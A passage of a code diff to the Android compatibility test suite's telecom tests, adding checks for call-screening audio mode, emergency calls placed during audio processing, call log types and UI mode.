         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         verifySimulateRingAndUserMissed(call, connection);
     }
@@ -151,7 +171,9 @@
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         call.exitBackgroundAudioProcessing(true);
         assertCallState(call, Call.STATE_SIMULATED_RINGING);
@@ -166,6 +188,88 @@
         connection.destroy();
     }
 
+    public void testAudioProcessingFromCallScreeningAllowPlaceEmergencyCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+        setupIncomingCallWithCallScreening();
+
+        final MockConnection connection = verifyConnectionForIncomingCall();
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
+
+        call.exitBackgroundAudioProcessing(true);
+        assertCallState(call, Call.STATE_SIMULATED_RINGING);
+        waitOnAllHandlers(getInstrumentation());
+        assertEquals(AudioManager.MODE_RINGTONE, audioManager.getMode());
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        placeAndVerifyEmergencyCall(false /*supportsHold*/);
+        waitOnAllHandlers(getInstrumentation());
+        Call eCall = getInCallService().getLastCall();
+        assertCallState(eCall, Call.STATE_DIALING);
+        // Even though the connection was technically active, it is "simulated ringing", so
+        // disconnect as you would a normal ringing call in favor of an emergency call.
+        assertCallState(call, Call.STATE_DISCONNECTED);
+        assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+        // Notify as missed instead of rejected, since the user did not explicitly reject.
+        verifyCallLogging(connection.getAddress(), CallLog.Calls.MISSED_TYPE);
+    }
+
+    public void testAudioProcessingFromIncomingActivePlaceEmergencyCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+        setupIncomingCallWithCallScreening();
+
+        final MockConnection connection = verifyConnectionForIncomingCall();
+
+        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                TimeUnit.SECONDS)) {
+            fail("No call added to InCallService.");
+        }
+
+        Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
+
+        verifySimulateRingAndUserPickup(call, connection);
+        // Go back into audio processing for hold case
+        call.enterBackgroundAudioProcessing();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        waitOnAllHandlers(getInstrumentation());
+
+        placeAndVerifyEmergencyCall(false /*supportsHold*/);
+        waitOnAllHandlers(getInstrumentation());
+        Call eCall = getInCallService().getLastCall();
+        assertCallState(eCall, Call.STATE_DIALING);
+        // Even though the connection was technically active, it is "simulated ringing", so
+        // disconnect as you would a normal ringing call in favor of an emergency call.
+        assertCallState(call, Call.STATE_DISCONNECTED);
+        assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+        // Notify as incoming, since the user has already answered the call.
+        verifyCallLogging(connection.getAddress(), CallLog.Calls.INCOMING_TYPE);
+    }
+
     public void testAudioProcessActiveCall() {
         if (!mShouldTestTelecom) {
             return;
@@ -179,7 +283,9 @@
 
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
         assertConnectionState(connection, Connection.STATE_ACTIVE);
 
         verifySimulateRingAndUserPickup(call, connection);
@@ -199,7 +305,9 @@
 
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         verifySimulateRingAndUserMissed(call, connection);
     }
@@ -218,7 +326,9 @@
 
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         connection.setDisconnected(new DisconnectCause(DisconnectCause.REMOTE));
         assertCallState(call, Call.STATE_DISCONNECTED);
@@ -226,6 +336,38 @@
         connection.destroy();
     }
 
+    public void testAudioProcessOutgoingActiveEmergencyCallPlaced() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+
+        Connection connection = placeActiveOutgoingCall();
+        Call call = mInCallCallbacks.getService().getLastCall();
+
+        call.enterBackgroundAudioProcessing();
+        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+        assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+        waitOnAllHandlers(getInstrumentation());
+        AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
+
+        placeAndVerifyEmergencyCall(false /*supportsHold*/);
+        waitOnAllHandlers(getInstrumentation());
+        Call eCall = getInCallService().getLastCall();
+        // emergency call should be dialing
+        assertCallState(eCall, Call.STATE_DIALING);
+        // audio processing call should be disconnected
+        assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+        assertCallState(call, Call.STATE_DISCONNECTED);
+        // If we went to AUDIO_PROCESSING from an active outgoing call, Make sure the call is
+        // marked outgoing, not missed.
+        verifyCallLogging(connection.getAddress(), CallLog.Calls.OUTGOING_TYPE);
+    }
+
     public void testManualAudioCallScreenAccept() {
         if (!mShouldTestTelecom) {
             return;
@@ -243,7 +385,9 @@
 
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         call.exitBackgroundAudioProcessing(false);
         assertCallState(call, Call.STATE_ACTIVE);
@@ -268,7 +412,9 @@
 
         waitOnAllHandlers(getInstrumentation());
         AudioManager audioManager = mContext.getSystemService(AudioManager.class);
-        assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+        if (doesAudioManagerSupportCallScreening) {
+            assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+        }
 
         call.disconnect();
         assertCallState(call, Call.STATE_DISCONNECTED);
@@ -302,47 +448,90 @@
         }
     }
 
-    public void testLowerApiLevelCompatibility() throws Exception {
+    public void testLowerApiLevelCompatibility1() throws Exception {
         if (!mShouldTestTelecom) {
             return;
         }
 
-        ICtsApi29InCallServiceControl controlInterface = setUpControl();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.CONTROL_INCALL_EXPERIENCE");
+        try {
+            ICtsApi29InCallServiceControl controlInterface = setUpControl();
 
-        setupIncomingCallWithCallScreening();
+            setupIncomingCallWithCallScreening();
 
-        final MockConnection connection = verifyConnectionForIncomingCall();
+            final MockConnection connection = verifyConnectionForIncomingCall();
 
-        if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
-                TimeUnit.SECONDS)) {
-            fail("No call added to InCallService.");
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+
+            Call call = mInCallCallbacks.getService().getLastCall();
+            assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+            assertConnectionState(connection, Connection.STATE_ACTIVE);
+            // Make sure that the dummy app never got any calls
+            assertEquals(0, controlInterface.getHistoricalCallCount());
+
+            call.exitBackgroundAudioProcessing(true);
+            assertCallState(call, Call.STATE_SIMULATED_RINGING);
+            waitOnAllHandlers(getInstrumentation());
+            assertConnectionState(connection, Connection.STATE_ACTIVE);
+            // Make sure that the dummy app sees a ringing call.
+            assertEquals(Call.STATE_RINGING,
+                    controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+
+            call.answer(VideoProfile.STATE_AUDIO_ONLY);
+            assertCallState(call, Call.STATE_ACTIVE);
+            waitOnAllHandlers(getInstrumentation());
+            assertConnectionState(connection, Connection.STATE_ACTIVE);
+            // Make sure that the dummy app sees an active call.
+            assertEquals(Call.STATE_ACTIVE,
+                    controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+
+            tearDownControl();
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
         }
+    }
 
-        Call call = mInCallCallbacks.getService().getLastCall();
-        assertCallState(call, Call.STATE_AUDIO_PROCESSING);
-        assertConnectionState(connection, Connection.STATE_ACTIVE);
-        // Make sure that the dummy app never got any calls
-        assertEquals(0, controlInterface.getHistoricalCallCount());
+    public void testLowerApiLevelCompatibility2() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.CONTROL_INCALL_EXPERIENCE");
+        try {
+            ICtsApi29InCallServiceControl controlInterface = setUpControl();
 
-        call.exitBackgroundAudioProcessing(true);
-        assertCallState(call, Call.STATE_SIMULATED_RINGING);
-        waitOnAllHandlers(getInstrumentation());
-        assertConnectionState(connection, Connection.STATE_ACTIVE);
-        // Make sure that the dummy app sees a ringing call.
-        assertEquals(Call.STATE_RINGING,
-                controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+            setupIncomingCallWithCallScreening();
 
-        call.answer(VideoProfile.STATE_AUDIO_ONLY);
-        assertCallState(call, Call.STATE_ACTIVE);
-        waitOnAllHandlers(getInstrumentation());
-        assertConnectionState(connection, Connection.STATE_ACTIVE);
-        // Make sure that the dummy app sees an active call.
-        assertEquals(Call.STATE_ACTIVE,
-                controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+            final MockConnection connection = verifyConnectionForIncomingCall();
 
-        TestUtils.executeShellCommand(getInstrumentation(),
-                "telecom add-or-remove-call-companion-app " + CtsApi29InCallService.PACKAGE_NAME
-                        + " 0");
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+
+            Call call = mInCallCallbacks.getService().getLastCall();
+            assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+            assertConnectionState(connection, Connection.STATE_ACTIVE);
+            // Make sure that the dummy app never got any calls
+            assertEquals(0, controlInterface.getHistoricalCallCount());
+
+            call.disconnect();
+            assertCallState(call, Call.STATE_DISCONNECTED);
+            waitOnAllHandlers(getInstrumentation());
+            assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+            // Make sure that the dummy app never saw the call
+            assertEquals(0, controlInterface.getHistoricalCallCount());
+
+            tearDownControl();
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
     }
 
     private Connection placeActiveOutgoingCall() {
@@ -394,7 +583,7 @@
             public void onScreenCall(Details callDetails) {
                 getService().respondToCall(callDetails, new CallResponse.Builder()
                         .setDisallowCall(false)
-                        .setShouldScreenCallFurther(true)
+                        .setShouldScreenCallViaAudioProcessing(true)
                         .build());
                 lock.release();
             }
@@ -426,7 +615,7 @@
         bindIntent.setComponent(controlComponentName);
         LinkedBlockingQueue<ICtsApi29InCallServiceControl> result = new LinkedBlockingQueue<>(1);
 
-        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+        mApiCompatControlServiceConnection = new ServiceConnection() {
             @Override
             public void onServiceConnected(ComponentName name, IBinder service) {
                 Log.i(LOG_TAG, "Service Connected: " + name);
@@ -436,10 +625,22 @@
             @Override
             public void onServiceDisconnected(ComponentName name) {
             }
-        }, Context.BIND_AUTO_CREATE);
+        };
+
+        boolean success = mContext.bindService(bindIntent,
+                mApiCompatControlServiceConnection, Context.BIND_AUTO_CREATE);
+
         if (!success) {
             fail("Failed to get control interface -- bind error");
         }
         return result.poll(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
     }
+
+    private void tearDownControl() throws Exception {
+        mContext.unbindService(mApiCompatControlServiceConnection);
+
+        TestUtils.executeShellCommand(getInstrumentation(),
+                "telecom add-or-remove-call-companion-app " + CtsApi29InCallService.PACKAGE_NAME
+                        + " 0");
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 1eec051..7371b09 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -25,8 +25,10 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertThat;
 
+import android.app.UiModeManager;
 import android.content.Context;
 import android.content.Intent;
+import android.content.res.Configuration;
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.media.AudioManager;
@@ -74,7 +76,11 @@
     public static final int FLAG_ENABLE = 0x2;
     public static final int FLAG_SET_DEFAULT = 0x4;
 
-    private static int sCounter = 5549999;
+    // Don't accidently use emergency number.
+    private static int sCounter = 5553638;
+
+    public static final String TEST_EMERGENCY_NUMBER = "5553637";
+    public static final Uri TEST_EMERGENCY_URI = Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null);
 
     Context mContext;
     TelecomManager mTelecomManager;
@@ -94,8 +100,10 @@
     TestUtils.InvokeCounter mOnRttRequestCounter;
     TestUtils.InvokeCounter mOnHandoverCompleteCounter;
     TestUtils.InvokeCounter mOnHandoverFailedCounter;
+    TestUtils.InvokeCounter mOnPhoneAccountChangedCounter;
     Bundle mPreviousExtras;
     int mPreviousProperties = -1;
+    PhoneAccountHandle mPreviousPhoneAccountHandle = null;
 
     InCallServiceCallbacks mInCallCallbacks;
     String mPreviousDefaultDialer = null;
@@ -143,6 +151,10 @@
             return;
         }
 
+        // Assume we start in normal mode at the start of all Telecom tests; a failure to leave car
+        // mode in any of the tests would cause subsequent test failures.
+        assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
         mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
 
@@ -289,6 +301,7 @@
             public void onCallAdded(Call call, int numCalls) {
                 Log.i(TAG, "onCallAdded, Call: " + call + ", Num Calls: " + numCalls);
                 this.lock.release();
+                mPreviousPhoneAccountHandle = call.getDetails().getAccountHandle();
             }
             @Override
             public void onCallRemoved(Call call, int numCalls) {
@@ -323,6 +336,12 @@
                             " to " + Call.Details.propertiesToString(details.getCallProperties()));
                 }
                 mPreviousProperties = details.getCallProperties();
+
+                if (details.getAccountHandle() != null &&
+                        !details.getAccountHandle().equals(mPreviousPhoneAccountHandle)) {
+                    mOnPhoneAccountChangedCounter.invoke(call, details.getAccountHandle());
+                }
+                mPreviousPhoneAccountHandle = details.getAccountHandle();
             }
             @Override
             public void onCallDestroyed(Call call) {
@@ -410,6 +429,41 @@
         mOnRttRequestCounter = new TestUtils.InvokeCounter("mOnRttRequestCounter");
         mOnHandoverCompleteCounter = new TestUtils.InvokeCounter("mOnHandoverCompleteCounter");
         mOnHandoverFailedCounter = new TestUtils.InvokeCounter("mOnHandoverFailedCounter");
+        mOnPhoneAccountChangedCounter = new TestUtils.InvokeCounter(
+                "mOnPhoneAccountChangedCounter");
+    }
+
+    void addAndVerifyNewFailedIncomingCall(Uri incomingHandle, Bundle extras) {
+        assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
+        int currentCallCount = 0;
+        if (mInCallCallbacks.getService() != null) {
+            currentCallCount = mInCallCallbacks.getService().getCallCount();
+        }
+
+        if (extras == null) {
+            extras = new Bundle();
+        }
+        extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
+        mTelecomManager.addNewIncomingCall(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
+
+        try {
+            if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("Incoming Connection failure indication did not get called.");
+            }
+        } catch (InterruptedException e) {
+            fail("InterruptedException while waiting for incoming call failure");
+        }
+
+        assertEquals("ConnectionService did not receive failed connection",
+                1, connectionService.failedConnections.size());
+
+        assertEquals("Address is not correct for failed connection",
+                connectionService.failedConnections.get(0).getAddress(), incomingHandle);
+
+        assertEquals("InCallService should contain the same number of calls.",
+                currentCallCount,
+                mInCallCallbacks.getService().getCallCount());
     }
 
     /**
@@ -455,9 +509,21 @@
      *  Puts Telecom in a state where there is an active call provided by the
      *  {@link CtsConnectionService} which can be tested.
      */
-    void placeAndVerifyCall(boolean viaCallRedirection, boolean cancelledByCallRedirection) {
-        placeAndVerifyCall(null, VideoProfile.STATE_AUDIO_ONLY, viaCallRedirection,
-                cancelledByCallRedirection);
+    void placeAndVerifyCallByRedirection(boolean wasCancelled) {
+        int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
+        int currentConnections = getNumberOfConnections();
+        // We expect a new connection if it wasn't cancelled.
+        if (!wasCancelled) {
+            currentConnections++;
+            currentCallCount++;
+        }
+        placeAndVerifyCall(null, VideoProfile.STATE_AUDIO_ONLY, currentConnections,
+                currentCallCount);
+        // Ensure the new outgoing call broadcast fired for the outgoing call.
+        assertOutgoingCallBroadcastReceived(true);
+
+        // CTS test does not have read call log permission so should not get the phone number.
+        assertNull(NewOutgoingCallBroadcastReceiver.getReceivedNumber());
     }
 
     /**
@@ -483,21 +549,22 @@
      *  {@link CtsConnectionService} which can be tested.
      */
     void placeAndVerifyCall(Bundle extras, int videoState) {
-        placeAndVerifyCall(extras, videoState, false, false);
+        int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
+        // We expect placing the call adds a new call/connection.
+        placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1);
+        assertOutgoingCallBroadcastReceived(true);
+
+        // CTS test does not have read call log permission so should not get the phone number.
+        assertNull(NewOutgoingCallBroadcastReceiver.getReceivedNumber());
     }
 
     /**
      *  Puts Telecom in a state where there is an active call provided by the
      *  {@link CtsConnectionService} which can be tested.
      */
-    void placeAndVerifyCall(Bundle extras, int videoState,
-                            boolean viaCallRedirectionService, boolean cancelledByCallRedirection) {
+    void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount,
+            int expectedCallCount) {
         assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
-        int currentCallCount = 0;
-        if (mInCallCallbacks.getService() != null) {
-            currentCallCount = mInCallCallbacks.getService().getCallCount();
-        }
-        int currentConnectionCount = getNumberOfConnections();
         placeNewCallWithPhoneAccount(extras, videoState);
 
         try {
@@ -509,8 +576,12 @@
             Log.i(TAG, "Test interrupted!");
         }
 
-        assertEquals("InCallService should contain 1 more call after adding a call.",
-                currentCallCount + 1,
+        // Make sure any procedures to disconnect existing calls (makeRoomForOutgoingCall)
+        // complete successfully
+        TestUtils.waitOnLocalMainLooper(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+
+        assertEquals("InCallService should match the expected count.", expectedCallCount,
                 mInCallCallbacks.getService().getCallCount());
 
         // The connectionService.lock is released in
@@ -520,28 +591,43 @@
         // be seen by calls to ConnectionService#getAllConnections().
         // We will wait here until the list of connections includes one more connection to ensure
         // that placing the call has fully completed.
-        // If the call is canceled by call redirection service, do not expect the count increment.
-        final int expectedConnectionCount = cancelledByCallRedirection ?
-                currentConnectionCount : currentConnectionCount + 1;
         assertCSConnections(expectedConnectionCount);
+    }
 
-        // If the call redirection service is being used, allow some waiting before the new
-        // outgoing call broadcast is received.
-        if (viaCallRedirectionService) {
-            // Ensure the new outgoing call broadcast fired for the outgoing call.
-            assertOutgoingCallBroadcastReceived(true);
-        } else {
-            assertTrue(NewOutgoingCallBroadcastReceiver.isNewOutgoingCallBroadcastReceived());
-        }
-
-        // CTS test does not have read call log permission so should not get the phone number.
-        assertNull(NewOutgoingCallBroadcastReceiver.getReceivedNumber());
+    /**
+     * Place an emergency call and verify that it has been setup properly.
+     *
+     * @param supportsHold If telecom supports holding emergency calls, this will expect two
+     * calls. If telecom does not support holding emergency calls, this will expect only the
+     * emergency call to be active.
+     * @return The emergency connection
+     */
+    public Connection placeAndVerifyEmergencyCall(boolean supportsHold) {
+        Bundle extras = new Bundle();
+        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+        int currentConnectionCount = supportsHold ?
+                getNumberOfConnections() + 1 : getNumberOfConnections();
+        int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
+        currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount;
+        // The device only supports a max of two calls active at any one time
+        currentCallCount = Math.min(currentCallCount, 2);
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount,
+                currentCallCount);
+        assertOutgoingCallBroadcastReceived(true);
+        Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        return connection;
     }
 
     int getNumberOfConnections() {
         return CtsConnectionService.getAllConnectionsFromTelecom().size();
     }
 
+    Connection getConnection(Uri address) {
+        return CtsConnectionService.getAllConnectionsFromTelecom().stream()
+                .filter(c -> c.getAddress().equals(address)).findFirst().orElse(null);
+    }
+
     MockConnection verifyConnectionForOutgoingCall() {
         // Assuming only 1 connection present
         return verifyConnectionForOutgoingCall(0);
@@ -563,6 +649,29 @@
         return connection;
     }
 
+    MockConnection verifyConnectionForOutgoingCall(Uri address) {
+        try {
+            if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                    TimeUnit.MILLISECONDS)) {
+                fail("No outgoing call connection requested by Telecom");
+            }
+        } catch (InterruptedException e) {
+            Log.i(TAG, "Test interrupted!");
+        }
+
+        assertThat("Telecom should create outgoing connection for outgoing call",
+                connectionService.outgoingConnections.size(), not(equalTo(0)));
+        Connection connection = getConnection(address);
+        assertNotNull("Could not find outgoing connection in list of active connections.",
+                connection);
+        if (connection instanceof MockConnection) {
+            if (connectionService.outgoingConnections.contains(connection)) {
+                return (MockConnection) connection;
+            }
+        }
+        return null;
+    }
+
     MockConnection verifyConnectionForIncomingCall() {
         // Assuming only 1 connection present
         return verifyConnectionForIncomingCall(0);
@@ -845,10 +954,28 @@
 
 
     public void verifyCallLogging(CountDownLatch logLatch, boolean isCallLogged, Uri testNumber) {
+        Cursor logCursor = getLatestCallLogCursorIfMatchesUri(logLatch, isCallLogged, testNumber);
         if (isCallLogged) {
+            assertNotNull("Call log entry not found for test number", logCursor);
+        }
+    }
+
+    public void verifyCallLogging(Uri testNumber, int expectedLogType) {
+        CountDownLatch logLatch = getCallLogEntryLatch();
+        Cursor logCursor = getLatestCallLogCursorIfMatchesUri(logLatch, true /*isCallLogged*/,
+                testNumber);
+        assertNotNull("Call log entry not found for test number", logCursor);
+        int typeIndex = logCursor.getColumnIndex(CallLog.Calls.TYPE);
+        int type = logCursor.getInt(typeIndex);
+        assertEquals("recorded type does not match expected", expectedLogType, type);
+    }
+
+    public Cursor getLatestCallLogCursorIfMatchesUri(CountDownLatch latch, boolean newLogExpected,
+            Uri testNumber) {
+        if (newLogExpected) {
             // Wait for the content observer to report that we have gotten a new call log entry.
             try {
-                logLatch.await(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+                latch.await(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
             } catch (InterruptedException ie) {
                 fail("Expected log latch");
             }
@@ -860,18 +987,15 @@
         int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
         if (callsCursor.moveToNext()) {
             String number = callsCursor.getString(numberIndex);
-            if (isCallLogged) {
-                assertEquals(testNumber.getSchemeSpecificPart(), number);
+            if (testNumber.getSchemeSpecificPart().equals(number)) {
+                return callsCursor;
             } else {
-                assertNotEquals(testNumber.getSchemeSpecificPart(), number);
-            }
-        } else {
-            if (isCallLogged) {
-                fail("Blocked call was not logged.");
-            } else {
-                // Horray! No calls and we didn't expect it to be logged.
+                // Last call log entry doesnt match expected number.
+                return null;
             }
         }
+        // No Calls
+        return null;
     }
 
     void assertNumCalls(final MockInCallService inCallService, final int numCalls) {
@@ -1142,6 +1266,24 @@
         );
     }
 
+    void assertCallConnectTimeChanged(final Call call, final long time) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return call.getDetails().getConnectTimeMillis() != time;
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Call have connect time: " + time
+        );
+    }
+
     void assertConnectionCallDisplayName(final Connection connection, final String name) {
         waitUntilConditionIsTrueOrTimeout(
                 new Condition() {
@@ -1510,6 +1652,34 @@
         );
     }
 
+    MockInCallService getInCallService() {
+        return (mInCallCallbacks == null) ? null : mInCallCallbacks.getService();
+    }
+
+    /**
+     * Asserts that the {@link UiModeManager} mode matches the specified mode.
+     *
+     * @param uiMode The expected ui mode.
+     */
+    public void assertUiMode(final int uiMode) {
+        final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return uiMode;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return uiModeManager.getCurrentModeType();
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected ui mode " + uiMode
+        );
+    }
+
     void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
             String description) {
         final long start = System.currentTimeMillis();
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index 3a70017..c8463fb 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -16,9 +16,14 @@
 
 package android.telecom.cts;
 
+import static android.telecom.Connection.PROPERTY_HIGH_DEF_AUDIO;
+import static android.telecom.Connection.PROPERTY_WIFI;
 import static android.telecom.cts.TestUtils.*;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertThat;
 
 import android.content.Context;
@@ -37,6 +42,7 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.StatusHints;
 import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
 
 import java.util.Arrays;
 import java.util.List;
@@ -48,15 +54,6 @@
  */
 public class CallDetailsTest extends BaseTelecomTestWithMockServices {
 
-    /**
-     * {@link Connection#PROPERTY_HIGH_DEF_AUDIO} is @hide, so define it here for now.
-     */
-    public static final int PROPERTY_HIGH_DEF_AUDIO = 1<<2;
-
-    /**
-     * {@link Connection#PROPERTY_WIFI} is @hide, so define it here for now.
-     */
-    public static final int PROPERTY_WIFI = 1<<3;
     public static final int CONNECTION_PROPERTIES =  PROPERTY_HIGH_DEF_AUDIO | PROPERTY_WIFI;
     public static final int CONNECTION_CAPABILITIES =
             Connection.CAPABILITY_HOLD | Connection.CAPABILITY_MUTE;
@@ -117,6 +114,11 @@
                         }
                     }, FLAG_REGISTER | FLAG_ENABLE);
 
+            // Make sure there is another phone account.
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT_2);
+            TestUtils.enablePhoneAccount(
+                    getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2);
+
             /** Place a call as a part of the setup before we test the various
              *  Call details.
              */
@@ -248,6 +250,50 @@
     }
 
     /**
+     * Tests passing call properties from Connections to Calls.
+     */
+    public void testCallPropertyPropagation() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
